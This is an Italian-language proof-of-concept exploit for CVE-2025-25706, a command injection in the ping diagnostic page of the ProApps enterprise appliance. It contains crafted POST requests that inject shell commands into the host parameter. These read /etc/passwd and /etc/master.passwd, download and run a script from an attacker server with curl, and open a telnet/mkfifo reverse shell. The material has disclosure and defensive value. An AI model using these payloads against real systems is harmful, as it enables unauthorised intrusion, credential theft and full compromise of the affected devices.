
Proof-of-concept dettagliato per CVE-2025-25706 che dimostra l'esecuzione remota di codice autenticata tramite injection di comandi nella funzionalità ping di ProApps, inclusi payload di reverse shell e passaggi di sfruttamento.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
Esecuzione di Codice Remota
La vulnerabilità si verifica perché un utente può iniettare comandi di sistema attraverso l'applicazione utilizzando la funzionalità ping aggiungendo un operatore di comando sequenza in ambienti Unix, come (;, &&, o |). Per sfruttare la vulnerabilità è necessario essere autenticati. L'utente deve appartenere a un gruppo di permessi chiamato 'Status' e avere il permesso 'Modified'. È anche importante menzionare che il successo dello sfruttamento richiede il bypass della sanificazione dell'input. L'applicazione convalida l'input dell'utente solo sul frontend, rendendo necessario inviare la richiesta attraverso un proxy di rete, per esempio. In questo modo le limitazioni imposte dall'applicazione vengono bypassate.
Dopo l'autenticazione, sarà necessario accedere a una pagina chiamata sta_rede.diagnostico_ping (http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view).
Questa pagina fornisce una funzione per eseguire una richiesta ICMP a un host arbitrario. Per saperne di più sull'utilità ping e sul protocollo ICMP (Richiesta e Risposta), si prega di fare riferimento all'RFC menzionato nella sezione dei riferimenti.
L'applicazione invia una richiesta POST con i parametri host, testar_pacote e ttl, dove host è il target del ping, testar_pacote specifica il numero di richieste ICMP da inviare, e TTL è il Time to Live (TTL) per i pacchetti. Quando invia la richiesta, l'applicazione esegue il seguente comando sul sistema Unix: ping -c $testar_pacote $host. Di seguito è riportata la richiesta POST che dimostra la funzionalità:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
Qui si nota un vettore di attacco. Un utente può sfruttare la vulnerabilità inviando una richiesta POST dannosa attraverso un proxy di rete per bypassare la sanificazione dell'input aggiungendo uno degli operatori di comando sequenza (;, &&, o |) al parametro host; l'applicazione web eseguirà il comando ping menzionato sopra, seguito da un comando aggiuntivo. Ad esempio, questo potrebbe includere la lettura di file sensibili come /etc/passwd, /etc/master.passwd o ottenere una reverse shell o eseguire comandi arbitrari.
La richiesta POST seguente è un esempio dannoso e manipolato:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
Richiesta HTTP POST a sta_rede.diagnostico_ping:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Ascoltando sulla porta specificata con Netcat, una reverse shell viene aperta con successo.
Le vulnerabilità RCE (Esecuzione di Codice Remota) consentono a un attaccante di eseguire codice arbitrario su un dispositivo remoto, ciò può portare a un Compromesso Completo del Sistema, Violazione dei Dati, Movimento Laterale, Distribuzione di Malware e Danni Reputazionali e Finanziari.